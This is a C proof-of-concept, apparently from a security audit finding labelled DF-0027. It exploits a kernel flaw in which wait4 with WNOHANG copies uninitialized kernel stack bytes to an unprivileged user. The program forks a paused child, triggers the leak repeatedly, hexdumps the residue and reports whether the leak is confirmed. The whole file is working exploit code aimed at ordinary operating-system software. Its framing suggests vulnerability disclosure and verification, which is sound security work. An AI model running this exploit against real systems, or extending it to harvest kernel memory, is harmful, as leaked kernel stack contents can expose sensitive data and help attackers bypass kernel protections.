/*
 * DF-0027 PoC (sharpened) - hexdump the leaked rusage/status bytes to prove
 * they are real kernel-stack residue (vary across iterations/runs), not a
 * deterministic constant.
 *
 * Trigger: wait4(child, &status, WNOHANG, &ru) with a running (non-waitable)
 * child. kern_exit.c:1427-1431 returns error==0 without writing *status or
 * *wrusage; sys_wait4 at kern_exit.c:942/945 then copyouts both uninitialized
 * stack locals to userland.
 *
 * Build:  cc -o wait_leak_dump wait_leak_dump.c
 * Run:    ./wait_leak_dump   (unprivileged)
 */
#include <sys/wait.h>
#include <sys/resource.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

static void
hexdump(const char *label, const unsigned char *p, size_t n)
{
	printf("%s (%zu bytes):\n", label, n);
	for (size_t i = 0; i < n; i++) {
		if ((i & 15) == 0) printf("  %04zx:", i);
		printf(" %02x", p[i]);
		if ((i & 15) == 15) printf("\n");
	}
	if (n & 15) printf("\n");
}

int
main(void)
{
	pid_t c = fork();
	if (c == 0) { pause(); _exit(0); }

	unsigned long leaks = 0;
	for (int i = 0; i < 8; i++) {
		int status = 0xCAFEBABE;
		struct rusage ru;
		memset(&ru, 0xAA, sizeof(ru));

		pid_t r = wait4(c, &status, WNOHANG, &ru);
		if (r != 0) continue;

		int leaked = (status != 0xCAFEBABE && status != 0);
		/* count non-marker bytes */
		size_t nz = 0;
		const unsigned char *p = (const unsigned char *)&ru;
		for (size_t k = 0; k < sizeof(ru); k++)
			if (p[k] != 0xAA && p[k] != 0x00) nz++;
		if (leaked || nz) leaks++;

		if (i < 3) {
			printf("=== iter %d (r=%d) ===\n", i, (int)r);
			printf("status = 0x%08x  (user marker was 0xCAFEBABE)\n",
			    (unsigned)status);
			printf("rusage: %zu non-marker/non-zero bytes\n", nz);
			hexdump("rusage raw", (const unsigned char *)&ru, sizeof(ru));
			printf("\n");
		}
	}

	kill(c, SIGKILL);
	waitpid(c, NULL, 0);
	printf("result: %lu/8 iters leaked\n", leaks);
	printf("result: %s\n", leaks ? "LEAK CONFIRMED" : "no residue");
	return leaks ? 0 : 2;
}
